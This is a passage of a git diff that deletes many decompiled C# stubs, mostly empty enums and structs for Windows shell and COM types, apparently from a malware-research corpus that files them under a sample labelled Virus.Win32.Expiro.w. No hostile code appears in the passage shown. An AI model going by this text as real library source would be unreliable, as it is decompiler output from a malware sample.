Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_SORTDESCRIPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_TYPE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_TYPE_FLAGS.cs deleted file mode 100644 index fd88b525..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_TYPE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_TYPE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_TYPE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_VIEW_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_VIEW_FLAGS.cs deleted file mode 100644 index e395127b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_VIEW_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_VIEW_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPDESC_VIEW_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPENUMTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPENUMTYPE.cs deleted file mode 100644 index 08750eb2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPENUMTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPENUMTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPENUMTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FLAGS.cs deleted file mode 100644 index ee6cb560..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FORMAT_FLAGS.cs deleted file mode 100644 index 04d150b8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPERTYUI_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_NAME_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_NAME_FLAGS.cs deleted file mode 100644 index cb497256..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_NAME_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPERTYUI_NAME_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPROPERTYUI_NAME_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPPAGESTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPPAGESTATUS.cs deleted file mode 100644 index 28d59c0b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPPAGESTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPPAGESTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPPAGESTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPVARIANT.cs deleted file mode 100644 index f15224ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPVARIANT.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagPROPVARIANT -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024307\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024308\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024309\u0024 - { - } - } - } - - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024236\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024237\u0024 - { - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024238\u0024 - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPictureAttributes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPictureAttributes.cs deleted file mode 100644 index 7721d393..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPictureAttributes.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPictureAttributes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPictureAttributes -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQACONTAINERFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQACONTAINERFLAGS.cs deleted file mode 100644 index daf81d68..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQACONTAINERFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQACONTAINERFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagQACONTAINERFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQUERY_PARSER_MANAGER_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQUERY_PARSER_MANAGER_OPTION.cs deleted file mode 100644 index 97565145..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQUERY_PARSER_MANAGER_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagQUERY_PARSER_MANAGER_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagQUERY_PARSER_MANAGER_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREADYSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREADYSTATE.cs deleted file mode 100644 index f662e89f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREADYSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREADYSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagREADYSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagRECT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagRECT.cs deleted file mode 100644 index cc4a28ea..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagRECT.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagRECT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagRECT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGCLS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGCLS.cs deleted file mode 100644 index 9ac6fa91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGCLS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGCLS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGCLS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGKIND.cs deleted file mode 100644 index 6e8e356e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagREGKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagREGKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSERVERCALL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSERVERCALL.cs deleted file mode 100644 index d9391f63..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSERVERCALL.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSERVERCALL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSERVERCALL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSF_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSF_TYPE.cs deleted file mode 100644 index 4c511518..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSF_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSF_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSF_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCOLSTATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCOLSTATE.cs deleted file mode 100644 index 58786ba6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCOLSTATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCOLSTATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSHCOLSTATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCONTF.cs deleted file mode 100644 index 957ef81f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHCONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHCONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLITEMCOMPAREHINTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLITEMCOMPAREHINTF.cs deleted file mode 100644 index 48b94bfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLITEMCOMPAREHINTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLITEMCOMPAREHINTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSHELLITEMCOMPAREHINTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLPROPSHEETEXTPAGEID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLPROPSHEETEXTPAGEID.cs deleted file mode 100644 index ed9539a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLPROPSHEETEXTPAGEID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHELLPROPSHEETEXTPAGEID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHELLPROPSHEETEXTPAGEID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHGDN.cs deleted file mode 100644 index ca8876a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSHGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSHGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIATTRIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIATTRIBFLAGS.cs deleted file mode 100644 index 316e0de5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIATTRIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIATTRIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] 